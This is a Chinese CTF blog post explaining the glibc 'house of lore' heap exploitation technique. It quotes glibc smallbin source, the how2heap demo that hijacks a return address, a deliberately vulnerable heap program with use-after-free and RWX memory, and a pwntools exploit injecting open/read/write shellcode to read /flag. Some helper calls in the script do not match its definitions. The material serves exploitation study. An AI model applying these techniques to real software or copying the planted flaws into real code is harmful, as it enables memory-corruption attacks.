house_of_lore

文章发布时间:

最后更新时间:

unsorted bin + small bin
还有largebin版本的
利用比较类似

贴一波smallbin的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/

if (in_smallbin_range(nb)) {
// 获取 small bin 的索引
idx = smallbin_index(nb);
// 获取对应 small bin 中的 chunk 指针
bin = bin_at(av, idx);
// 先执行 victim= last(bin),获取 small bin 的最后一个 chunk
// 如果 victim = bin ,那说明该 bin 为空。
// 如果不相等,那么会有两种情况
if ((victim = last(bin)) != bin) {
// 第一种情况,small bin 还没有初始化。
if (victim == 0) /* initialization check */
// 执行初始化,将 fast bins 中的 chunk 进行合并
malloc_consolidate(av);
// 第二种情况,small bin 中存在空闲的 chunk
else {
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena) set_non_main_arena(victim);
// 细致的检查
check_malloced_chunk(av, victim, nb);
// 将申请到的 chunk 转化为对应的 mem 状态
void *p = chunk2mem(victim);
// 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
}
}

这段程序来自how2heap的house_of_lore,(glibc-2.27 version)
展示了unsortedbin的house of lore

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){
fprintf(stderr, "Nice jump d00d\n");
exit(0);
}

int main(int argc, char * argv[]){


intptr_t *victim = malloc(0x100);

void *dummies[7];
for(int i=0; i<7; i++) dummies[i] = malloc(0x100);//先填满tache

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[4] = {0};
void* fake_freelist[7][4];

for(int i=0; i<6; i++) {
fake_freelist[i][3] = fake_freelist[i+1];
}
fake_freelist[6][3] = NULL;//在栈上伪造一段fake_free_list,来骗

stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;//绕过smallbin的检查

stack_buffer_1[3] = (intptr_t*)stack_buffer_2;//绕过smallbin检查
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
stack_buffer_2[3] = (intptr_t *)fake_freelist[0];//防止crash

void *p5 = malloc(1000);//防止合并

for(int i=0; i<7; i++) free(dummies[i]);
free((void*)victim);//free进unsortedbin

fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);//此时根据首个unsortedbin的特性,该chunk的fd和bk指针将会指向libc


void *p2 = malloc(1200);//申请一个smallbin和unsortedbin的都无法满足其大小的堆块
//此时,我们原本的申请的victim就会被插入到smallbin的前面
//而且它的fd和bk更新

fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

//模拟UAF篡改victim的过程
victim[1] = (intptr_t)stack_buffer_1;

//------------------------------------

for(int i=0; i<7; i++) malloc(0x100);//清空tache


void *p3 = malloc(0x100);//来骗!

fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(0x100);// 来偷袭! chunk2stack

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",stack_buffer_2[2]);

fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4);
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
//
long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}

写了个小文件,几乎啥漏洞都能打(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
//gcc lore.c -g  -o lore 
//gcc 2heap.c -g -no-pie -no-stack-protector -o heap2stack
#include<stdio.h>
#include<stdlib.h>

int chunk_time =0;
int chunk_size[50];
char *chunk_ptr[50];
void init(){
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}
void menu(){
puts("what u want to do next?");
puts("1. Build a house");
puts("2. Delete a house");
puts("3. Edit your house");
puts("4. Show your house");
puts("5. Exit");
puts("6. Magic");
puts(">");
}
void add(){
char size[20];
if(chunk_time<=32&&chunk_time>=0){
if(!chunk_ptr[chunk_time]){
printf("You have built %d houses in my world\n",chunk_time);
puts("You can customize the size of house here, but what about your life");
read(0,size,0x8);
chunk_size[chunk_time] = atoi(size);
chunk_ptr[chunk_time] = malloc(chunk_size[chunk_time]);
puts("add something to your house");
read(0,chunk_ptr[chunk_time],chunk_size[chunk_time]);
chunk_time++;
}else{
puts("something wrong,but you can come in any time");
exit(0);
}
}else{

puts("something wrong,but you can come in any time");
exit(0);
}
}
void delete(){
int index;
puts("I won't set the pointer to zero");
puts("every decision you made is meaningful");
scanf("%d",&index);
free(chunk_ptr[index]);
}
void edit(){
int index;
puts("something wrong?");
puts("It's never too late to make changes");
scanf("%d",&index);
puts("something interesting here");
read(0,&chunk_size[index],0x8);
puts("Nice choice!");
puts("Now add something");
read(0,chunk_ptr[index],chunk_size[index]);
puts("ok\n");
}
void show(){
puts("Nothing is perfect,but you can make something different");
puts("Let's see what you can do");
int index;
scanf("%d",&index);
puts(chunk_ptr[index]);
}

int main(){
int choice;
init();
puts("This program is used to explore something about");
puts(" ** ** ****** ** ****** **");
puts(" **__** **__ **** **__** **");
puts(" ** ** ** **__** ***** **");
puts("** ** ****** ******** ** __");
puts("written by str1k3");
puts("input you passwd:");
mmap((void*)0xACE00000,0x1200ull,7,33,-1,0ll);
read(0,(void*)0xACE00000,0x233);
puts("Welcome to my world!");
puts("In my world,you can build up some houses");
mmap((void*)0xbad00000,0x120ull,7,33,-1,0ll);


while(1){
menu();
scanf("%d",&choice);
switch(choice){
case 1:
add();
break;
case 2:
delete();
break;
case 3:
edit();
break;
case 4:
show();
break;
case 5:
puts("ready to exit?");
puts("back to your life!");
exit(0);
break;
case 6:
puts("Use your force! CTFer");
read(0,(void*)0xbad00000,0x66);
}
}
}
1
2
3
4
5
6
7
8
┌──(str1d3r㉿str1k3Gwindows)-[~/桌面/Desktop]
└─$ checksec lore
[*] '/mnt/Desktop/lore'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import*
from pwn import p64,u64
p = process("./lore")
elf = ELF("./lore")
#libc = ELF("./libc-2.27.so")
context(os='linux', arch='amd64', log_level='debug')

def debug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(magic,size,payload):
p.recvuntil(">")
p.sendline(b'1')
p.recvuntil(b"say a magic word before your build")
p.sendline(str(magic))
p.recvuntil(b"You can customize the size of house here, but what about your life")
p.sendline(str(size))
p.recvuntil(b"add something to your house\n")
p.send(payload)

def delete(index):
p.recvuntil(">")
p.sendline(b'2')
p.recvuntil(b'every decision you made is meaningful')
p.sendline(str(index))

def edit(index,size,payload):
p.recvuntil(">")
p.sendline(b'3')
p.recvuntil(b"It's never too late to make changes")
p.sendline(str(index))
p.recvuntil(b"something interesting here")
p.sendline(str(size))
p.sendlineafter(b"Now add something",payload)

def show(index):
p.recvuntil(">")
p.sendline(b'4')
p.recvuntil(b"Let's see what you can do")
p.sendline(str(index))

def exit():
p.recvuntil(">")
p.sendline(b'5')

def magic(magic):
p.recvuntil(">")
p.sendline(b'6')
p.recvuntil(b"Use your force! CTFer")
p.sendline(str(magic))

orw = b"\x90" * 0x100
orw += asm(shellcraft.open("/flag"))
orw += asm(shellcraft.read(3, 0xACE00500, 0x500))
orw += asm(shellcraft.write(1, 0xACE00500, 0x500))
orw_addr = 0xACE00500
stack_buffer_addr = 0xbad00000

p.recvuntil(b'passwd:')
p.sendline(orw)

add(0x100,b'aaaa')#victim
add(0x100,b'aaaa')
delete(0)
delete(1)
show(1)
victim =u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
success("chunk0_addr:%s",hex(victim))

#stack_buffer_1->fd=stack_buffer_1[2]=victim
stack_buff = p64(0) +p64(0x500)
stack_buff += p64(stack_buffer_addr)
stack_buff +=p64(victim)

magic(stack_buff)

add(0x100,b'aaaa')#victim
for i in range(7):
add(0x100,b'bbbb')#tcache

add(1000,b'cccc')

for i in range(7):
delete(i+1)

add(1200,b'dddd')

delete(0)

edit(0,0x100,p64(0)+p64(stack_buffer_addr))

for i in range(7):
add(0x100,b'aaaa')#tcache

add(0x100,b'aaaa')
add(0x100,p64(0)+p64(orw_addr))